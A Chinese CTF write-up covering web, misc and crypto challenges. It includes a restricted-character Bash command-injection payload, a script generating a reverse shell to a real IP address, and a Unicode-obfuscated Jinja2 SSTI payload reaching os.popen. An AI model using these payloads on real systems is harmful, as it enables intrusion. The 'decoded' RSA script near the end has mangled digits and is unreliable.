[toc]

Web

Bash(使用${#}\(<)’0’等字符执行命令)

这道题的思路大体上类似于这一篇文章:https://medium.com/@orik_/34c3-ctf-minbashmaxfun-writeup-4470b596df60

进入题目,给出如下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
if(isset($_POST["cmd"]))
{
$test = $_POST['cmd'];
$white_list = str_split('${ # }\\(<)\'0');
$char_list = str_split($test);
foreach($char_list as $c){
if(!in_array($c,$white_list)){
die("Cyzcc");
}
}
exec($test);
}
?>

如上代码限制了只能用如下字符构造命令执行:

1
$  {  #  }  \  (  <  )  '  0

解题思路如下:

  • 在平时做题中,我们可以用进制转换的方法绕过被ban掉的字符或关键字,比如将命令转换为八进制或十六进制,实例如下:

  • 而我们又可以利用位运算和进制转换的方法利用符号构造数字,本题中,我们用八进制的方法。下面直接给出了一些操作:
1
2
3
4
5
6
7
8
9
n = dict() 
n[0] = '0'
n[1] = '${##}' #${##}计算#这个字符的长度为1,这里如果没有屏蔽!的话还可以用$((!$#))
n[2] = '$((${##}<<${##}))' #通过位运算得到2
n[3] = '$(($((${##}<<${##}))#${##}${##}))' #通过二进制11转换为十进制得到3,4,5,6,7
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}0${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}0))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'

这里我们细说一下得到1的方法, # 在bash中是一个变量,它的长度是0。${#变量} 这种形式求得的是变量的长度:

得到了所有的数字后就可以把我们所需要的命令字符转换成八进制数字了。

  • 转换成数字之后就需要用到 <<< 来重定向了,但是一层不够,只用一层会出现 bash: $’\154\163’: command not found 这样的报错,得知bash一次解析只能解析到成数字,需要第二次解析。因此需要给原先的命令添加转义字符,最终构造出如下payload:
1
2
3
$0<<<$0\<\<\<\$\'\\${##}$(($((${##}<<${##}))#${##}0${##}))$((${##}<<$((${##}<<${##}))))\\${##}$(($((${##}<<${##}))#${##}${##}0))$(($((${##}<<${##}))#${##}${##}))\'

// 执行 ls 命令

好了,接下来我们就可以构造payload执行命令了,由于是exec函数,没有回显,所以我们反弹shell。

我们编写如下利用脚本生成payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests

n = dict()
n[0] = '0'
n[1] = '${##}'
n[2] = '$((${##}<<${##}))'
n[3] = '$(($((${##}<<${##}))#${##}${##}))'
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}0${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}0))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'

f=''

def str_to_oct(cmd): # 命令转换成八进制字符串
s = ""
for t in cmd:
o = ('%s' % (oct(ord(t))))[2:]
s+='\\'+o
return s

def build(cmd): # 八进制字符串转换成字符
payload = "$0<<<$0\<\<\<\$\\\'"
s = str_to_oct(cmd).split('\\')
for _ in s[1:]:
payload+="\\\\"
for i in _:
payload+=n[int(i)]
return payload+'\\\''

def get_flag(url,payload): # 盲注函数
try:
data = {'cmd':payload}
r = requests.post(url,data,timeout=1.5)
except:
return True
return False

# 反弹shell
print(build('bash -i >& /dev/tcp/47.101.57.72/2333 0>&1'))

生成payload如下:

1
$0<<<$0\<\<\<\$\'\\${##}$((${##}<<$((${##}<<${##}))))$((${##}<<${##}))\\${##}$((${##}<<$((${##}<<${##}))))${##}\\${##}$(($((${##}<<${##}))#${##}${##}0))$(($((${##}<<${##}))#${##}${##}))\\${##}$(($((${##}<<${##}))#${##}0${##}))0\\$((${##}<<$((${##}<<${##}))))0\\$(($((${##}<<${##}))#${##}0${##}))$(($((${##}<<${##}))#${##}0${##}))\\${##}$(($((${##}<<${##}))#${##}0${##}))${##}\\$((${##}<<$((${##}<<${##}))))0\\$(($((${##}<<${##}))#${##}${##}${##}))$(($((${##}<<${##}))#${##}${##}0))\\$((${##}<<$((${##}<<${##}))))$(($((${##}<<${##}))#${##}${##}0))\\$((${##}<<$((${##}<<${##}))))0\\$(($((${##}<<${##}))#${##}0${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$((${##}<<$((${##}<<${##}))))$((${##}<<$((${##}<<${##}))))\\${##}$((${##}<<$((${##}<<${##}))))$(($((${##}<<${##}))#${##}0${##}))\\${##}$(($((${##}<<${##}))#${##}${##}0))$(($((${##}<<${##}))#${##}${##}0))\\$(($((${##}<<${##}))#${##}0${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$(($((${##}<<${##}))#${##}${##}0))$((${##}<<$((${##}<<${##}))))\\${##}$((${##}<<$((${##}<<${##}))))$(($((${##}<<${##}))#${##}${##}))\\${##}$(($((${##}<<${##}))#${##}${##}0))0\\$(($((${##}<<${##}))#${##}0${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${##}0))$((${##}<<$((${##}<<${##}))))\\$(($((${##}<<${##}))#${##}${##}0))$(($((${##}<<${##}))#${##}${##}${##}))\\$(($((${##}<<${##}))#${##}0${##}))$(($((${##}<<${##}))#${##}${##}0))\\$(($((${##}<<${##}))#${##}${##}0))${##}\\$(($((${##}<<${##}))#${##}${##}0))0\\$(($((${##}<<${##}))#${##}${##}0))${##}\\$(($((${##}<<${##}))#${##}0${##}))$(($((${##}<<${##}))#${##}${##}0))\\$(($((${##}<<${##}))#${##}${##}0))$(($((${##}<<${##}))#${##}0${##}))\\$(($((${##}<<${##}))#${##}${##}0))$(($((${##}<<${##}))#${##}${##}${##}))\\$(($((${##}<<${##}))#${##}0${##}))$(($((${##}<<${##}))#${##}${##}0))\\$(($((${##}<<${##}))#${##}${##}0))$(($((${##}<<${##}))#${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${##}0))$((${##}<<${##}))\\$(($((${##}<<${##}))#${##}0${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${##}0))$((${##}<<${##}))\\$(($((${##}<<${##}))#${##}${##}0))$(($((${##}<<${##}))#${##}${##}))\\$(($((${##}<<${##}))#${##}${##}0))$(($((${##}<<${##}))#${##}${##}))\\$(($((${##}<<${##}))#${##}${##}0))$(($((${##}<<${##}))#${##}${##}))\\$((${##}<<$((${##}<<${##}))))0\\$(($((${##}<<${##}))#${##}${##}0))0\\$(($((${##}<<${##}))#${##}${##}${##}))$(($((${##}<<${##}))#${##}${##}0))\\$((${##}<<$((${##}<<${##}))))$(($((${##}<<${##}))#${##}${##}0))\\$(($((${##}<<${##}))#${##}${##}0))${##}\'

直接POST方法发送过去:

如下图,我们设置的监听成功收到了shell并得到了flag:

Validator

进入题目,一个输入框,让我们输入密码:

sql注入无用,经目录扫描发现/app.js,访问查看/app.js,得到js代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
const express = require('express')
const express_static = require('express-static')
const fs = require('fs')
const path = require('path')

const app = express()
const port = 9000

app.use(express.json())
app.use(express.urlencoded({
extended: true
}))

let info = []

const {
body,
validationResult
} = require('express-validator')

middlewares = [
body('*').trim(),
body('password').isLength({ min: 6 }),
]

app.use(middlewares)

readFile = function (filename) {
var data = fs.readFileSync(filename)
return data.toString()
}

app.post("/login", (req, res) => {
console.log(req.body)
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}

if (req.body.password == "D0g3_Yes!!!"){
console.log(info.system_open)
if (info.system_open == "yes"){
const flag = readFile("/flag")
return res.status(200).send(flag)
}else{
return res.status(400).send("The login is successful, but the system is under test and not open...")
}
}else{
return res.status(400).send("Login Fail, Password Wrong!")
}
})

app.get("/", (req, res) => {
const login_html = readFile(path.join(__dirname, "login.html"))
return res.status(200).send(login_html)
})

app.use(express_static("./"))

app.listen(port, () => {
console.log(`server listening on ${port}`)
})

然后就不会了……

normal-ssti(unicode绕过)

unicode绕过是一种网上没提出的方法

进入题目:

过滤了很多:

1
'  request  {{  _  %20(空格)  [  ]  .  __globals__   __getitem__

我们用 {% %} 绕过对 {{ 的过滤。我们可以用unicode绕过题目对于关键字的过滤,unicode绕过是一种网上没提出的方法。

假设我们要构造的payload原型为:

1
().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()

先用 |attr 绕过 .[]

1
()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()

我们可以将过滤掉的字符用Unicode替换掉:

1
()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(77)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("ls")|attr("read")()

由于过滤了 {{ ,所以我们要用 {%print(......)%} 的形式绕过。最终我们构造的payload如下:

1
{%print(()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(77)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("ls")|attr("read")())%}

Misc

签到(base100编码)

题目描述

Welcome to play the misc !!! CyzCC puts a paper and lets you sign in.

flag格式:D0g3{xxxxxx}

下载附件,得到一张二维码,文件名为“大声说出fl4g.jpg”,扫描二维码,进入“道格安全”,发送“fl4g”,得到回复的消息:

1
2
3
链接:https://share.weiyun.com/bKjXMcZJ 密码:d0g3

这并不是emojicode哦,而是一种“很基础”的编码,如果答对了,CyzCC就给你100分.

访问该链接下载附件,得到一个“flag.docx”,里面内容如下:

1
2
3
4
5
6
V1cuna hides the flag, try to be concentrate on getting the score from CyzCC




🐻🐧👞🐪👲👎👜👣👚🐧👤👖🐸👅👛👖🐿🐨👋👖👣👠🐾👟👫🐨👰👴

很明显为base100编码,在线解码即可得到flag:

王牌特工(extundelete文件恢复)

题目描述

Recently,Agent CyzCC has got one secret file from Trump’s disk and cracked it successfully without Wushu morality.Can u do the same thing?

flag格式:flag{xxxxxx}

下载附件,得到一个未知的文件:

我们先用file命令看一下该文件到底是个啥:

发现是ext3文件系统镜像文件,我们直接用mount命令进行挂载。

先在根目录新创建一个目录/ctf,然后执行如下命令即可将findme文件挂载到/ctf目录中:

1
2
3
4
mount -o loop findme /ctf

// mount -o loop 镜像地址 挂载点
umount 挂载点 // 取消挂载

如上图,挂载后在/ctf目录中发现了两个文件,flagbox和key.txt,key.txt的内容如下:

看来这个flagbox应该也是个镜像文件,让我们用Veracrypt进行挂载,密码为a_cool_key,我们将其挂载到K盘:

挂载成功后在K盘发现flag.txt,打开一看竟然是假的flag:

让我们看看“走过的路”……

我们回到findme文件,尝试使用extundelete恢复磁盘文件。

Extundelete是在Linux下,基于开源的数据/文件恢复工具,支持ext3/ext4双格式分区恢复,可用来恢复误删的数据或文件。

extundelete不仅能够通过在文件系统的日志中搜索该inode的旧副本来恢复inode的内容,而且如果已删除的条目不存在于文件系统中的目录中,extundelete将仍在日志中的旧副本中查找匹配项。

我们先使用extundelete查看一下该ext3文件系统镜像的日志信息,可能会存在有用的结果:

1
extundelete findme --journal

image-20201126194733465

好吧并没有发现什么,我们在尝试恢复所有目录和文件:

1
extundelete findme --restore-all

image-20201126194851709

如上图,得到一条关键结果:1 recoverable inodes found.

执行完后,会生成一个名为RECOVERED_FILES的目录:

在该目录里发现了一个名为 .key.txt.swp的隐藏文件,查看下,发现一串base64:

解密得到一个真的密码:

1
this_is_a_true_key

用该密码重新挂载之前那个flagbox到K盘,在K盘发现真正的flag:

套娃(crc32爆破、明文攻击)

题目描述

CyzCC usually compresses his love into something locked and send it to the one who he loves.Give him love and he will give you more.

flag格式:flag{xxxxxx}

下载附件得到一个加密的zip压缩包:

我确定不是伪加密……

进入password1目录可以看到:

一共6个文件,是密码的副本,应该是里面的内容按顺序拼起来就是外面这个压缩包hardzip.zip的密码了。每个txt全都只有2字节,我们可以使用 CRC32爆破脚本 爆破内容,编写如下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import binascii
import string

def crack_crc(crcs):
password = ''
chars = string.printable
for crc in crcs:
for i in chars:
for j in chars:
s = i + j
if crc == binascii.crc32(s.encode()) & 0xffffffff:
password += s
print(password)

if __name__ == '__main__':
crcs = [0xea4446b6,0xed7987de,0x46fe0943,0x4be30989,0xb31975c0,0xd6bb1bef]
crack_crc(crcs)

得到密码为 !qQIdEa@#!z)

输入密码解压得到easyzip.zip,但是该压缩包还需要密码,真烦人:

我们尝试一下用ZipCenOp.jar破解一下伪加密,去发现可以解出来一个redeme.txt:

其他的再打开就显示文件已损毁,看来只有这个redeme.txt做了伪加密,其他的都是真加密。

这里仔细看了一下,redeme.txt和redeme.txt—副本,这两个文本是一样的原始大小,CRC32校验码也是一样的,并且我们已经有了一个redeme.txt了,所以,这就是很明显的明文攻击破解。我们将外面的redeme.txt文件用winrar压缩为 zip(一定要用winrar),然后将easyzip.zip备份并在winrar里面将easyzip.zip中的readme.txt和flag.txt删除,只留下redeme - 副本.txt(因为明文攻击要求是同一类型的文件,所以不必要的文件都要删除,这里我们没想到,文件虽然加密了,但是可以删除)。

最后进行明文攻击,得到密码 %3#c$v!@

输入密码解压flag.txt,得到flag的base64:

1
V20xa2NGa3hPV1ppYlRrd1lraDBkMk51WkdwWU1UazVXVmh2YlZreVZtaGFSMnhC

最后解base64三次得到:

1
fgic__notl{prwc__}az&ceadi@

最后解栅栏密码得到flag,栏数为3:

BeCare4(零宽隐写、silenteye 隐写)

题目描述

Two poems from CyzCC: 1.Trump falling but he never lose,love unseeing but CyzCC has. 2.Game is dear, CTF is dearer. Both can be given up for our eyes and health.

flag格式:D0g3{xxxxxx}

首先下载附件,得到一个加密了的flag.7z和一个未知的npmtxt文件,应该是要从npmtxt中得到密码,npmtxt是个文本文件,里面内容如下:

1
Adrián Doria, a wealthy businessman named Man of the Year due to his high-tech company and his trade agreements with the Asian market, meets Virginia Goodman, a veteran lawyer expert in witness preparation and judicial declaration, recommended by Adrián's lawyer Felix Leiva in order to create a credible defense. Arrested by the police in a mountain hotel room with the corpse of his lover at his side, photographer Laura Vidal, Adrián talks Virginia about the crime and his relationship with Laura, revealing that both suffered a car crash where a man called Daniel Garrido died, and how Laura manipulated Adrián to avoid the jail by Daniel's death. At the same time that Félix is looking for a clue that it could change the course of the events, Virginia and Adrián keep talking about the case but her, unconvinced of the Adrián's testimony, forces him to clear the dark points of his history, in a puzzle where the truth and the lie are easily exchangeable.

翻译一遍啥也没有发现,想到文本的话通常可能会存在宽字节隐写,我们用vim查看这个npmtxt,如下图,果然发现宽字节隐写:

在线解密:https://yuanfux.github.io/zero-width-web/ ,得到解压密码为 RealV1siBle

我们输入密码,将flag.7z解压,得到一张名为Beauty_with_noword.jpg的图片:

看到文件名为“Beauty_with_noword”,无声的,那不就是slient吗,我们想到用SilentEye。

SilentEye是一款免费的图片信息隐藏工具,采用全新的隐写算法和加密算法,帮助用户轻松隐藏在图片中跨平台应用程序设计中。如果您有不想让别人知道的图片或者信息就可以使用SilentEye进行隐藏,保护个人隐私。

我们用SilentEye打开图片,直接用默认面解密即可得到flag:

Cryto(pwn库中的mbruteforce()函数)

密码学?爆破就行了

这道签到题的出题者主要是想给大家推荐一个密码学常用的库,可以多线程的爆破,默认线程爆破这道题只需要不到7s(还可以更快的)。

题目描述

CyzCC doesn’t like cracking,but he really likes cracking correctly which saves a lot of time.

flag格式:d0g3{xxxxxx}

下载附件,得到如下python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python2
import hashlib
from secret import SECRET
from broken_flag import BROKEN_FLAG

flag = 'd0g3{' + hashlib.md5(SECRET).hexdigest() + '}'
broken_flag = 'd0g3{71b2b5616**2a4639**7d979**de964c}'

assert flag[:14] == broken_flag[:14] // d0g3{71b2b5616
assert flag[16:22] == broken_flag[16:22] // 2a4639
assert flag[24:29] == broken_flag[24:29] // 7d979


ciphier = hashlib.sha256(flag).hexdigest()
print(ciphier)


'''
ciphier = '0596d989a2938e16bcc5d6f89ce709ad9f64d36316ab80408cb6b89b3d7f064a'
'''

pwn库中的mbruteforce()函数

mbruteforce()函数是一个多线程穷举函数,详细定义如下:

1
mbruteforce(func, alphabet, length, method='upto', start=None, threads=None)
  • func输入参数为一个自定义函数的名称字符串,输出布尔值,mbruteforce穷举直到func输出True;
  • alphabet为组成输入参数字符串的字符集合;
  • length指定输入参数字符串的长度上界;
  • method默认为’upto’,指定穷举的字符串长度从1增大到length;另外两个选项为’fixed’、’downfrom’,fixed’指定穷举的字符串长度仅为length,’downfrom’指定穷举的字符串长度从length减小到1;
  • start=(N,i),就是把搜索空间分成N块从第i块开始穷举;默认为(1,1)
  • threads指定穷举时的线程数,默认值是内核的数量;

我们编写如下解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import pwnlib 
from pwnlib.util.iters import mbruteforce
import hashlib

broken_flag = 'd0g3{71b2b5616**2a4639**7d979**de964c}'
table = '0123456789abcdef'
assert len(table) == 16

flag1 = 'd0g3{71b2b5616'
flag2 = "2a4639"
flag3 = '7d979'
flag4 = 'de964c}'

def brute(res):
ciphier = '0596d989a2938e16bcc5d6f89ce709ad9f64d36316ab80408cb6b89b3d7f064a'
mbroken_flag = flag1 + res[0:2] + flag2 + res[2:4] + flag3 +res[4:6] +flag4
tmp_res = hashlib.sha256(mbroken_flag).hexdigest()
if tmp_res == ciphier:
return True

res = mbruteforce(brute,table,6,method='fixed')
print(flag1 + res[0:2] + flag2 + res[2:4] + flag3 +res[4:6] +flag4)

执行该脚本即可得到flag:

easyrsa

题目描述

flag格式:d0g3{xxxxxx}

下载附件,得到如下两个文件:

yjpv.or内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/hpg/sdw/oryufw
cgfn Bgroyf.Hyde.whnstg dnofgy ltyOgdnt
dnofgy lnor2

# --------------bujeetwlt 1-------------
o = ltyOgdnt(1024)
x = ltyOgdnt(1024)
t = ltyOgdnt(16)
w = o*x
oud = (x-1) * (o-1)
b = lnor2.ofznfk(n,t,w)
udwy1 = 2 * k + 246810 * t * oud
ogdwy(w)
ogdwy(b)
ogdwy(udwy1)

# --------------bujeetwlt 2-------------
o = ltyOgdnt(4096)
g = ltyOgdnt(4096)
x = n
t = 0i10001
udwy2 = srytp_yf_efwl(udwy2)
w = o*x*g
b = lnor2.ofznfk(udwy2,t,w)
ogdwy(w)
ogdwy(o)
ogdwy(b)

# --------------bujeetwlt 3-------------
n = srytp_yf_efwl(cejl)
x = ltyOgdnt(1024)
o = ltyOgdnt(1024)
w = x*o
t = 5
b = ofz(n,t,w)
ogdwy(w)
ogdwy(b)

这一看就是加密了的python脚本,可以很明显的看出是python脚本的放射加密。

仿射密码为单表代换加密的一种,字母系统中所有字母都藉一简单数学方程加密,对应至数值,或转回字母。

A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25

仿射密码是一种替换密码。它是一个字母对一个字母的。它的加密函数是:

img

其中a和m互质,b为移动大小,m是字母的数目。

解码函数是:

img

其中 a^{-1}是 a 在 Z_{m}群的乘法逆元。

通过查找关键词可以对比,我们可以得出a = 9、b = 9,从而解出加密脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/python
from Crypto.Util.number import getPrime
import gmpy7

# --------------challenge 8-------------
p = getPrime(8975)
q = getPrime(8975)
e = getPrime(83)
n = p*q
phi = (q-8) * (p-8)
c = gmpy7.powmod(m,e,n) # 求密文
hint8 = 7 * d + 753189 * e * phi # d未知的
print(n)
print(c)
print(hint8)

# --------------challenge 7-------------
p = getPrime(5903)
r = getPrime(5903)
q = m
e = 9x89998
hint7 = bytes_to_long(hint7)
n = p*q*r
c = gmpy7.powmod(hint7,e,n)
print(n)
print(p)
print(c)

# --------------challenge 6-------------
m = bytes_to_long(flag)
q = getPrime(8975)
p = getPrime(8975)
n = q*p
e = 4
c = pow(m,e,n)
print(n)
print(c)

然后就不会了……